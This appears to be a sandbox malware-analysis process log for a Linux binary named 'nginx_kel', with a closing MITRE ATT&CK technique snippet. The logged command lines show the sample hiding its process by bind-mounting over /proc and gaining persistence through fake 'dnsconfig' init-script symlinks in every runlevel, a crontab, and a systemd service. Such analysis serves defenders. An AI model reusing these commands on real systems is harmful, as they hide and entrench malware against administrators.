MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: systemd PID: 5020, Parent PID: 1

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/lib/systemd/systemd
Arguments:	-
File size:	0 bytes
MD5 hash:	unknown

Chronological Activities

Analysis Process: nginx_kel PID: 5020, Parent PID: 1

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	/var/tmp/nginx_kel sv
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: nginx_kel PID: 5031, Parent PID: 5020

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: cp PID: 5031, Parent PID: 5020

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/cp
Arguments:	cp -f /var/tmp/nginx_kel /var/tmp/nginx_kel
File size:	151024 bytes
MD5 hash:	b9c85244be9733bc79eca588db7bf306

Chronological Activities

Analysis Process: nginx_kel PID: 5032, Parent PID: 5020

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5032, Parent PID: 5020

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "mount -o bind /tmp/nginx_server /proc/5020/ > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5033, Parent PID: 5032

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: mount PID: 5033, Parent PID: 5032

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/mount
Arguments:	mount -o bind /tmp/nginx_server /proc/5020/
File size:	40152 bytes
MD5 hash:	6fb01f39948e8c15193d11e4d5bc40c1

Chronological Activities

Analysis Process: nginx_kel PID: 5058, Parent PID: 5020

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: nginx_kel PID: 5060, Parent PID: 5058

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: nginx_kel PID: 5063, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5063, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rcS.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5065, Parent PID: 5063

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5065, Parent PID: 5063

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rcS.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5102, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5102, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5103, Parent PID: 5102

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5103, Parent PID: 5102

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5124, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5124, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc0.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5125, Parent PID: 5124

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5125, Parent PID: 5124

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc0.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5130, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5130, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc1.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5131, Parent PID: 5130

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5131, Parent PID: 5130

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc1.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5167, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5167, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc2.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5168, Parent PID: 5167

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5168, Parent PID: 5167

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc2.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5169, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5169, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc3.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5170, Parent PID: 5169

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5170, Parent PID: 5169

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc3.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5208, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5208, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc4.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5209, Parent PID: 5208

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5209, Parent PID: 5208

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc4.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5229, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5229, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc5.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5230, Parent PID: 5229

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5230, Parent PID: 5229

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc5.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5231, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5231, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc6.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5232, Parent PID: 5231

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5232, Parent PID: 5231

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc6.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5233, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5233, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5234, Parent PID: 5233

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5234, Parent PID: 5233

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5247, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5247, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc0.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5248, Parent PID: 5247

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5248, Parent PID: 5247

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc0.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5249, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5249, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc1.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5250, Parent PID: 5249

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5250, Parent PID: 5249

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc1.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5251, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5251, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc2.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5252, Parent PID: 5251

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5252, Parent PID: 5251

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc2.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5258, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5258, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc3.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5259, Parent PID: 5258

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5259, Parent PID: 5258

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc3.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5266, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5266, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc4.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5267, Parent PID: 5266

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5267, Parent PID: 5266

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc4.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5268, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5268, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc5.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5269, Parent PID: 5268

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5269, Parent PID: 5268

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc5.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5295, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5295, Parent PID: 5060

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc6.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5296, Parent PID: 5295

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5296, Parent PID: 5295

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc6.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: nginx_kel PID: 5061, Parent PID: 5058

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5061, Parent PID: 5058

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "crontab /var/tmp/.recoverys"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5062, Parent PID: 5061

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: crontab PID: 5062, Parent PID: 5061

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/usr/bin/crontab
Arguments:	crontab /var/tmp/.recoverys
File size:	36080 bytes
MD5 hash:	ff68fd30f0037fd7e9c1fdf5a035f739

Chronological Activities

Analysis Process: nginx_kel PID: 5154, Parent PID: 5058

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5154, Parent PID: 5058

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5155, Parent PID: 5154

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: systemctl PID: 5155, Parent PID: 5154

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	663952 bytes
MD5 hash:	cd5a9cbd1cd03a1c3ae4b6016674d7c8

Chronological Activities

Analysis Process: nginx_kel PID: 5368, Parent PID: 5058

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5368, Parent PID: 5058

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl enable dnsconfigs.service > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5369, Parent PID: 5368

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: systemctl PID: 5369, Parent PID: 5368

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/systemctl
Arguments:	systemctl enable dnsconfigs.service
File size:	663952 bytes
MD5 hash:	cd5a9cbd1cd03a1c3ae4b6016674d7c8

Chronological Activities

Analysis Process: nginx_kel PID: 5410, Parent PID: 5058

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5410, Parent PID: 5058

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl start dnsconfigs.service > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5411, Parent PID: 5410

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: systemctl PID: 5411, Parent PID: 5410

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/systemctl
Arguments:	systemctl start dnsconfigs.service
File size:	663952 bytes
MD5 hash:	cd5a9cbd1cd03a1c3ae4b6016674d7c8

Chronological Activities

Analysis Process: nginx_kel PID: 5059, Parent PID: 5020

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5059, Parent PID: 5020

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "mount -o bind /tmp/nginx_server /proc/5020/ > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5064, Parent PID: 5059

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: mount PID: 5064, Parent PID: 5059

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/mount
Arguments:	mount -o bind /tmp/nginx_server /proc/5020/
File size:	40152 bytes
MD5 hash:	6fb01f39948e8c15193d11e4d5bc40c1

Chronological Activities

Analysis Process: nginx_kel PID: 5104, Parent PID: 5020

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/var/tmp/nginx_kel
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

